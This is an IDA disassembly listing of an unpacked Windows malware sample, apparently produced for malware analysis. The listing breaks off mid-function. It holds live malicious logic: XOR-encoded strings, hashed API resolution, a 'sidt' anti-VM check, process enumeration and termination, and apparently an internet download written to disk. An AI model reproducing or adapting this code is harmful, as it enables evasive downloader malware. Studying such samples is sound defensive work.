;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2BEE981C7234B918A5D8189BE526A270

; File Name   :	u:\work\2bee981c7234b918a5d8189be526a270_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_4010DC:loc_401128p
					; sub_401436+1F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		push	100h
		push	0
		push	esi
		call	sub_401080
		xor	eax, eax
		add	esp, 0Ch
		cmp	[esp+4+arg_8], eax
		jle	short loc_401031
		mov	ecx, [esp+4+arg_0]

loc_401021:				; CODE XREF: sub_401000+2Fj
		mov	dl, [ecx]
		xor	dl, 3
		inc	ecx
		mov	[eax+esi], dl
		inc	eax
		cmp	eax, [esp+4+arg_8]
		jl	short loc_401021

loc_401031:				; CODE XREF: sub_401000+1Bj
		mov	byte ptr [eax+esi], 0
		pop	esi
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401037	proc near		; CODE XREF: sub_4010DC:loc_40118Cp
		push	esi
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_40104C
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	eax, [eax+8]
		jmp	short loc_401055
; ---------------------------------------------------------------------------

loc_40104C:				; CODE XREF: sub_401037+7j
		mov	eax, [eax+34h]
		lea	eax, [eax+7Ch]
		mov	eax, [eax+3Ch]

loc_401055:				; CODE XREF: sub_401037+13j
		pop	esi
		retn
sub_401037	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401059	proc near		; CODE XREF: sub_401B6E+1E5p

var_7		= byte ptr -7
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_1], 0
		sidt	fword ptr [ebp+var_7]
		mov	eax, dword ptr [ebp+var_7+2]
		and	eax, 0FFF00000h
		cmp	eax, 0FFC00000h
		jnz	short loc_40107A
		mov	[ebp+var_1], 1

loc_40107A:				; CODE XREF: sub_401059+1Bj
		movzx	eax, [ebp+var_1]
		leave
		retn
sub_401059	endp


; =============== S U B	R O U T	I N E =======================================



sub_401080	proc near		; CODE XREF: sub_401000+Dp
					; sub_401436+E6p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jz	short loc_4010AE
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	bh, bl
		mov	edx, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		shr	ecx, 2
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

loc_4010AE:				; CODE XREF: sub_401080+6j
		mov	eax, [esp+arg_0]
		retn
sub_401080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B3	proc near		; CODE XREF: sub_4023D3+184p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		mov	eax, [ebp+arg_4]
		jz	short loc_4010D3
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax

loc_4010C4:				; CODE XREF: sub_4010B3+1Ej
		mov	dl, [eax]
		dec	[ebp+arg_8]
		mov	[ecx+eax], dl
		inc	eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_4010C4

loc_4010D3:				; CODE XREF: sub_4010B3+Aj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4010B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010D8	proc near		; CODE XREF: sub_4023D3+Cp
		mov	eax, [esp+0]
		retn
sub_4010D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010DC	proc near		; CODE XREF: sub_4010DC+58p
					; sub_4012A6+43p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, dword_404104
		add	eax, 0FFFFFFA1h
		sub	esp, 0Ch
		cmp	eax, 89h
		ja	short loc_4010F7
		inc	dword_404104

loc_4010F7:				; CODE XREF: sub_4010DC+13j
		mov	eax, [ebp+arg_0]
		dec	eax
		push	esi
		jz	loc_40118C
		dec	eax
		jz	short loc_40117D
		dec	eax
		jz	short loc_40116E
		dec	eax
		jz	short loc_40115F
		dec	eax
		jz	short loc_401150
		dec	eax
		jz	short loc_401141
		dec	eax
		jz	short loc_40111B

loc_401114:				; CODE XREF: sub_4010DC+19Fj
		xor	eax, eax
		jmp	loc_40129E
; ---------------------------------------------------------------------------

loc_40111B:				; CODE XREF: sub_4010DC+36j
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_40305C

loc_401128:				; CODE XREF: sub_4010DC+72j
					; sub_4010DC+81j ...
		call	sub_401000
		push	0C8AC8026h
		push	1
		call	sub_4010DC
		add	esp, 14h
		push	esi
		call	eax
		jmp	short loc_401191
; ---------------------------------------------------------------------------

loc_401141:				; CODE XREF: sub_4010DC+33j
		push	0Ch
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_40304C
		jmp	short loc_401128
; ---------------------------------------------------------------------------

loc_401150:				; CODE XREF: sub_4010DC+30j
		push	9
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403040
		jmp	short loc_401128
; ---------------------------------------------------------------------------

loc_40115F:				; CODE XREF: sub_4010DC+2Dj
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403034
		jmp	short loc_401128
; ---------------------------------------------------------------------------

loc_40116E:				; CODE XREF: sub_4010DC+2Aj
		push	0Ah
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403028
		jmp	short loc_401128
; ---------------------------------------------------------------------------

loc_40117D:				; CODE XREF: sub_4010DC+27j
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_40301C
		jmp	short loc_401128
; ---------------------------------------------------------------------------

loc_40118C:				; CODE XREF: sub_4010DC+20j
		call	sub_401037

loc_401191:				; CODE XREF: sub_4010DC+63j
		mov	edx, dword_404104
		cmp	edx, 59h
		mov	[ebp+arg_0], eax
		jge	short loc_4011A6
		inc	edx
		mov	dword_404104, edx

loc_4011A6:				; CODE XREF: sub_4010DC+C1j
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+3Ch]
		mov	esi, [eax+ecx+78h]
		add	esi, ecx
		cmp	edx, 7Ah
		jge	short loc_4011BE
		inc	edx
		mov	dword_404104, edx

loc_4011BE:				; CODE XREF: sub_4010DC+D9j
		mov	eax, [ebp+arg_4]
		shr	eax, 10h
		test	ax, ax
		jnz	short loc_4011D5
		movzx	eax, word ptr [ebp+arg_4]
		sub	eax, [esi+10h]
		jmp	loc_401284
; ---------------------------------------------------------------------------

loc_4011D5:				; CODE XREF: sub_4010DC+EBj
		lea	eax, [edx-4Dh]
		cmp	eax, 8Ah
		ja	short loc_4011E6
		inc	edx
		mov	dword_404104, edx

loc_4011E6:				; CODE XREF: sub_4010DC+101j
		push	ebx
		mov	ebx, [esi+24h]
		push	edi
		mov	edi, [esi+20h]
		add	ebx, ecx
		add	edi, ecx
		cmp	edx, 12h
		mov	[ebp+var_C], ebx
		jl	short loc_401201
		inc	edx
		mov	dword_404104, edx

loc_401201:				; CODE XREF: sub_4010DC+11Cj
		cmp	edx, 0D6h
		jle	short loc_401212
		push	19h
		pop	edx
		mov	dword_404104, edx

loc_401212:				; CODE XREF: sub_4010DC+12Bj
		and	[ebp+var_4], 0
		cmp	dword ptr [esi+18h], 0
		jbe	short loc_40125E

loc_40121C:				; CODE XREF: sub_4010DC+180j
		mov	ecx, [edi]
		add	ecx, [ebp+arg_0]
		and	[ebp+var_8], 0
		mov	al, [ecx]
		test	al, al
		jz	short loc_401243

loc_40122B:				; CODE XREF: sub_4010DC+162j
		mov	ebx, [ebp+var_8]
		movsx	eax, al
		rol	ebx, 7
		xor	ebx, eax
		inc	ecx
		mov	al, [ecx]
		test	al, al
		mov	[ebp+var_8], ebx
		jnz	short loc_40122B
		mov	ebx, [ebp+var_C]

loc_401243:				; CODE XREF: sub_4010DC+14Dj
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_8], eax
		jz	short loc_4012A1
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 4
		inc	ebx
		inc	ebx
		cmp	eax, [esi+18h]
		mov	[ebp+var_C], ebx
		jb	short loc_40121C

loc_40125E:				; CODE XREF: sub_4010DC+13Ej
		mov	eax, [ebp+arg_0]

loc_401261:				; CODE XREF: sub_4010DC+1C8j
		lea	ecx, [edx-5Bh]
		cmp	ecx, 9Bh
		pop	edi
		pop	ebx
		ja	short loc_401275
		inc	edx
		mov	dword_404104, edx

loc_401275:				; CODE XREF: sub_4010DC+190j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [esi+18h]
		jz	loc_401114
		mov	ecx, [ebp+arg_0]

loc_401284:				; CODE XREF: sub_4010DC+F4j
		cmp	edx, 0BCh
		mov	esi, [esi+1Ch]
		lea	eax, [esi+eax*4]
		mov	eax, [eax+ecx]
		jge	short loc_40129C
		inc	edx
		mov	dword_404104, edx

loc_40129C:				; CODE XREF: sub_4010DC+1B7j
		add	eax, ecx

loc_40129E:				; CODE XREF: sub_4010DC+3Aj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4012A1:				; CODE XREF: sub_4010DC+16Dj
		movzx	eax, word ptr [ebx]
		jmp	short loc_401261
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012A6	proc near		; CODE XREF: sub_401B6E+1F2p
					; sub_402908+12p

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		cmp	dword_404104, 0CDh
		jge	short loc_4012C1
		inc	dword_404104

loc_4012C1:				; CODE XREF: sub_4012A6+13j
		cmp	byte_404209, 0
		jz	short loc_4012D1
		mov	al, byte_404208
		leave
		retn
; ---------------------------------------------------------------------------

loc_4012D1:				; CODE XREF: sub_4012A6+22j
		push	9C480E24h
		push	1
		mov	byte_404209, 1
		mov	[ebp+var_94], 94h
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_94]
		push	ecx
		call	eax
		cmp	[ebp+var_84], 2
		push	4Ah
		pop	ecx
		setz	al
		push	0FFFFFFE5h
		mov	byte_404208, al
		pop	edx

loc_40130E:				; CODE XREF: sub_4012A6+78j
		cmp	edx, 74h
		ja	short loc_401315
		inc	ecx
		inc	edx

loc_401315:				; CODE XREF: sub_4012A6+6Bj
		add	ecx, 21h
		add	edx, 21h
		cmp	ecx, 6Bh
		jl	short loc_40130E
		mov	dword_404104, ecx
		leave
		retn
sub_4012A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401328	proc near		; CODE XREF: sub_401436+252p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_404104, 0BEh
		jge	short loc_40133E
		inc	dword_404104

loc_40133E:				; CODE XREF: sub_401328+Ej
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_0], 0
		jz	loc_40140F
		mov	esi, 99A4299Dh
		push	esi
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	edi
		push	edi
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4013B3
		push	44h
		pop	eax
		push	8
		pop	ecx

loc_40136F:				; CODE XREF: sub_401328+5Aj
		cmp	ecx, 8Fh
		ja	short loc_401379
		inc	eax
		inc	ecx

loc_401379:				; CODE XREF: sub_401328+4Dj
		add	eax, 27h
		add	ecx, 27h
		cmp	eax, 7Dh
		jl	short loc_40136F
		push	0FDC94385h
		push	edi
		mov	dword_404104, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	ebx
		call	eax
		mov	esi, [ebp+var_4]
		push	9E6FA842h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		call	eax
		jmp	short loc_401412
; ---------------------------------------------------------------------------

loc_4013B3:				; CODE XREF: sub_401328+3Fj
		cmp	dword_404104, 0Ah
		jl	short loc_4013C2
		inc	dword_404104

loc_4013C2:				; CODE XREF: sub_401328+92j
		cmp	dword_404104, 0B3h
		jle	short loc_4013D8
		mov	dword_404104, 26h

loc_4013D8:				; CODE XREF: sub_401328+A4j
		push	esi
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	0
		push	edi
		call	eax
		push	9E6FA842h
		push	edi
		mov	ebx, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	ebx
		call	eax
		push	723EB0D5h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		call	eax
		jmp	short loc_401412
; ---------------------------------------------------------------------------

loc_40140F:				; CODE XREF: sub_401328+20j
		mov	ebx, [ebp+arg_0]

loc_401412:				; CODE XREF: sub_401328+89j
					; sub_401328+E5j
		cmp	dword_404104, 6Fh
		jge	short loc_401421
		inc	dword_404104

loc_401421:				; CODE XREF: sub_401328+F1j
		push	723EB0D5h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401436	proc near		; CODE XREF: sub_401B6E+1FCp
					; sub_402908+EDp ...

var_1318	= dword	ptr -1318h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_116		= byte ptr -116h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1318h
		call	sub_402CA0
		mov	eax, dword_404104
		add	eax, 0FFFFFFB4h
		cmp	eax, 86h
		ja	short loc_401458
		inc	dword_404104

loc_401458:				; CODE XREF: sub_401436+1Aj
		push	ebx
		push	esi
		push	edi
		push	774393E8h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		mov	ebx, 100h
		push	ebx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	0
		call	eax
		push	8AC4909Bh
		push	5
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_C]
		push	ecx
		push	1000h
		lea	ecx, [ebp+var_1318]
		push	ecx
		call	eax
		test	eax, eax
		jz	loc_40170A
		push	60h
		pop	eax
		push	32h
		pop	ecx

loc_4014A8:				; CODE XREF: sub_401436+87j
		cmp	ecx, 0C7h
		ja	short loc_4014B2
		inc	eax
		inc	ecx

loc_4014B2:				; CODE XREF: sub_401436+78j
		add	eax, 1Ch
		add	ecx, 1Ch
		cmp	eax, 0BAh
		jl	short loc_4014A8
		and	[ebp+var_4], 0
		test	[ebp+var_C], 0FFFFFFFCh
		mov	dword_404104, eax
		jbe	loc_40170F
		mov	edi, offset dword_404108

loc_4014DA:				; CODE XREF: sub_401436+2CCj
		mov	ecx, [ebp+var_4]
		mov	esi, [ebp+ecx*4+var_1318]
		test	esi, esi
		jz	loc_4016F6
		cmp	eax, 4Eh
		jge	short loc_4014F7
		inc	eax
		mov	dword_404104, eax

loc_4014F7:				; CODE XREF: sub_401436+B9j
		push	99A4299Dh
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		xor	esi, esi
		push	esi
		push	410h
		call	eax
		push	ebx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_401080
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jz	loc_4016DE
		push	189F16C9h
		push	5
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		push	4
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+var_8]
		call	eax
		test	eax, eax
		jz	loc_4016DE
		cmp	dword_404104, 35h
		jge	short loc_401561
		inc	dword_404104

loc_401561:				; CODE XREF: sub_401436+123j
		mov	esi, [ebp+var_10]
		push	0E4FB2191h
		push	5
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		lea	ecx, [ebp+var_118]
		push	ecx
		push	esi
		push	[ebp+var_8]
		call	eax
		mov	esi, dword_403008
		lea	eax, [ebp+var_118]
		push	eax
		call	esi	; lstrlen
		test	eax, eax
		jz	loc_4016DE
		cmp	[ebp+var_117], 3Ah
		jnz	loc_4016DE
		cmp	[ebp+var_116], 5Ch
		jnz	loc_4016DE
		lea	eax, [ebp+var_118]
		push	eax
		call	esi	; lstrlen
		mov	esi, eax
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------

loc_4015BE:				; CODE XREF: sub_401436+191j
		dec	esi

loc_4015BF:				; CODE XREF: sub_401436+186j
		cmp	[ebp+esi+var_118], 5Ch
		jnz	short loc_4015BE
		push	[ebp+arg_0]
		call	dword_403008	; lstrlen
		test	eax, eax
		jle	short loc_401610
		cmp	dword_404104, 87h
		jge	short loc_4015E8
		inc	dword_404104

loc_4015E8:				; CODE XREF: sub_401436+1AAj
		push	[ebp+arg_0]
		lea	eax, [ebp+esi+var_117]
		push	eax
		call	dword_403004	; lstrcmpi
		test	eax, eax
		jnz	loc_4016DE
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_1318]
		jmp	loc_40171C
; ---------------------------------------------------------------------------

loc_401610:				; CODE XREF: sub_401436+19Ej
		cmp	dword_404104, 0C4h
		jge	short loc_401622
		inc	dword_404104

loc_401622:				; CODE XREF: sub_401436+1E4j
		push	0Bh
		push	edi
		push	offset dword_40306C
		call	sub_401000
		push	8A94F707h
		push	7
		call	sub_4010DC
		add	esp, 14h
		lea	ecx, [ebp+var_18]
		push	ecx
		lea	ecx, [ebp+var_118]
		push	ecx
		call	eax
		test	eax, eax
		jnz	loc_4016DE
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_403004	; lstrcmpi
		test	eax, eax
		jz	short loc_4016DE
		push	edi
		lea	eax, [ebp+esi+var_117]
		push	eax
		call	dword_403004	; lstrcmpi
		test	eax, eax
		jz	short loc_4016DE
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_1318]
		call	sub_401328
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	dword_403000	; lstrcpy
		push	1
		push	edi
		push	offset dword_403068
		call	sub_401000
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_218]
		push	eax
		call	dword_40300C	; lstrcat
		push	20E4E9EDh
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_218]
		push	ecx
		lea	ecx, [ebp+var_118]
		push	ecx
		call	eax

loc_4016DE:				; CODE XREF: sub_401436+F1j
					; sub_401436+116j ...
		push	723EB0D5h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	eax
		mov	eax, dword_404104

loc_4016F6:				; CODE XREF: sub_401436+B0j
		mov	ecx, [ebp+var_C]
		inc	[ebp+var_4]
		shr	ecx, 2
		cmp	[ebp+var_4], ecx
		jb	loc_4014DA
		jmp	short loc_40170F
; ---------------------------------------------------------------------------

loc_40170A:				; CODE XREF: sub_401436+66j
		mov	eax, dword_404104

loc_40170F:				; CODE XREF: sub_401436+99j
					; sub_401436+2D2j
		cmp	eax, 0AFh
		jge	short loc_40171C
		inc	eax
		mov	dword_404104, eax

loc_40171C:				; CODE XREF: sub_401436+1D5j
					; sub_401436+2DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401436	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401721	proc near		; CODE XREF: sub_401B6E+293p
					; sub_401B6E+307p ...

var_87C		= byte ptr -87Ch
var_47C		= byte ptr -47Ch
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_404104, 0Dh
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_20], 7D0h
		jl	short loc_401749
		inc	dword_404104

loc_401749:				; CODE XREF: sub_401721+20j
		cmp	dword_404104, 0D1h
		jle	short loc_40175F
		mov	dword_404104, 18h

loc_40175F:				; CODE XREF: sub_401721+32j
		push	esi
		push	edi
		mov	esi, 400h
		push	esi
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		call	sub_401080
		push	534D481h
		push	3
		mov	[ebp+var_18], esi
		call	sub_4010DC
		add	esp, 14h
		lea	ecx, [ebp+var_18]
		push	ecx
		lea	ecx, [ebp+var_87C]
		push	ecx
		push	ebx
		call	eax
		push	5
		mov	edi, offset dword_404108
		push	edi
		push	offset aUfq24	; "ufq24"
		call	sub_401000
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_87C]
		push	eax
		call	dword_40300C	; lstrcat
		push	3Bh
		pop	eax
		push	0FFFFFFE9h
		mov	[ebp+var_1C], ebx
		pop	ecx

loc_4017C0:				; CODE XREF: sub_401721+B1j
		cmp	ecx, 7Ch
		ja	short loc_4017C7
		inc	eax
		inc	ecx

loc_4017C7:				; CODE XREF: sub_401721+A2j
		add	eax, 1Ah
		add	ecx, 1Ah
		cmp	eax, 8Ah
		jl	short loc_4017C0
		push	4
		mov	dword_404104, eax
		pop	edi

loc_4017DC:				; CODE XREF: sub_401721+3D5j
		push	8593DD7h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_87C]
		push	ecx
		call	eax
		push	0B87DBD66h
		push	edi
		mov	[ebp+var_C], eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	eax
		cmp	dword_404104, 0Eh
		mov	[ebp+var_8], eax
		jl	short loc_401824
		inc	dword_404104

loc_401824:				; CODE XREF: sub_401721+FBj
		cmp	dword_404104, 0A9h
		jle	short loc_40183A
		mov	dword_404104, 1Bh

loc_40183A:				; CODE XREF: sub_401721+10Dj
		push	1AD09C78h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	edi
		lea	ecx, [ebp+var_20]
		push	ecx
		push	2
		push	[ebp+var_C]
		call	eax
		push	1AD09C78h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	edi
		lea	ecx, [ebp+var_20]
		push	ecx
		push	6
		push	[ebp+var_C]
		call	eax
		push	1AD09C78h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	edi
		lea	ecx, [ebp+var_20]
		push	ecx
		push	5
		push	[ebp+var_C]
		call	eax
		push	2Ah
		pop	eax
		push	0FFFFFFE2h
		pop	ecx

loc_40188B:				; CODE XREF: sub_401721+17Fj
		cmp	ecx, 0A8h
		ja	short loc_401895
		inc	eax
		inc	ecx

loc_401895:				; CODE XREF: sub_401721+170j
		add	eax, 12h
		add	ecx, 12h
		cmp	eax, 0A5h
		jl	short loc_40188B
		push	2F5CE027h
		push	edi
		mov	dword_404104, eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_4], edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		push	20000005h
		push	[ebp+var_8]
		call	eax
		mov	eax, [ebp+var_14]
		lea	ecx, [eax-401h]
		cmp	ecx, 48FDEh
		ja	loc_4019FD
		mov	eax, dword_404104
		add	eax, 0FFFFFFA9h
		cmp	eax, 83h
		ja	short loc_4018F7
		inc	dword_404104

loc_4018F7:				; CODE XREF: sub_401721+1CEj
		push	8F8F114h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	80h
		push	edi
		push	ebx
		push	2
		push	40000000h
		push	[ebp+arg_4]
		call	eax
		push	esi
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_47C]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		call	sub_401080
		push	1A212962h
		push	edi
		mov	[ebp+var_18], esi
		call	sub_4010DC
		add	esp, 14h
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_8]
		call	eax
		mov	ecx, dword_404104
		test	eax, eax
		setnz	al
		add	ecx, 0FFFFFFAAh
		cmp	ecx, 75h
		ja	short loc_4019CE
		inc	dword_404104
		jmp	short loc_4019CE
; ---------------------------------------------------------------------------

loc_40196A:				; CODE XREF: sub_401721+2B0j
		cmp	al, bl
		jz	short loc_4019D3
		mov	eax, [ebp+var_4]
		push	0F3FD1C3h
		push	1
		mov	[ebp+var_24], eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		lea	ecx, [ebp+var_28]
		push	ecx
		push	[ebp+var_24]
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_10]
		call	eax
		push	esi
		lea	eax, [ebp+var_47C]
		push	ebx
		push	eax
		call	sub_401080
		push	1A212962h
		push	edi
		mov	[ebp+var_18], esi
		mov	[ebp+var_4], ebx
		call	sub_4010DC
		add	esp, 14h
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_8]
		call	eax
		test	eax, eax
		setnz	al

loc_4019CE:				; CODE XREF: sub_401721+23Fj
					; sub_401721+247j
		cmp	[ebp+var_4], ebx
		ja	short loc_40196A

loc_4019D3:				; CODE XREF: sub_401721+24Bj
		mov	eax, dword_404104
		add	eax, 0FFFFFFC1h
		cmp	eax, 0B6h
		ja	short loc_4019E8
		inc	dword_404104

loc_4019E8:				; CODE XREF: sub_401721+2BFj
		push	723EB0D5h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_10]
		call	eax
		jmp	short loc_401A10
; ---------------------------------------------------------------------------

loc_4019FD:				; CODE XREF: sub_401721+1BBj
		add	eax, 0FFFFFFFEh
		cmp	eax, 3FEh
		ja	short loc_401A10
		mov	[ebp+arg_8], bl
		jmp	short loc_401A10
; ---------------------------------------------------------------------------

loc_401A0C:				; CODE XREF: sub_401721+315j
		cmp	al, bl
		jz	short loc_401A38

loc_401A10:				; CODE XREF: sub_401721+2DAj
					; sub_401721+2E4j ...
		push	1A212962h
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_8]
		call	eax
		test	eax, eax
		setnz	al
		cmp	[ebp+var_4], ebx
		ja	short loc_401A0C

loc_401A38:				; CODE XREF: sub_401721+2EDj
		cmp	dword_404104, 0AAh
		jge	short loc_401A4A
		inc	dword_404104

loc_401A4A:				; CODE XREF: sub_401721+321j
		push	7314FB0Ch
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	eax
		push	7314FB0Ch
		push	edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_C]
		call	eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFCFh
		cmp	eax, 0A0h
		ja	short loc_401A83
		inc	dword_404104

loc_401A83:				; CODE XREF: sub_401721+35Aj
		push	8F8F114h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
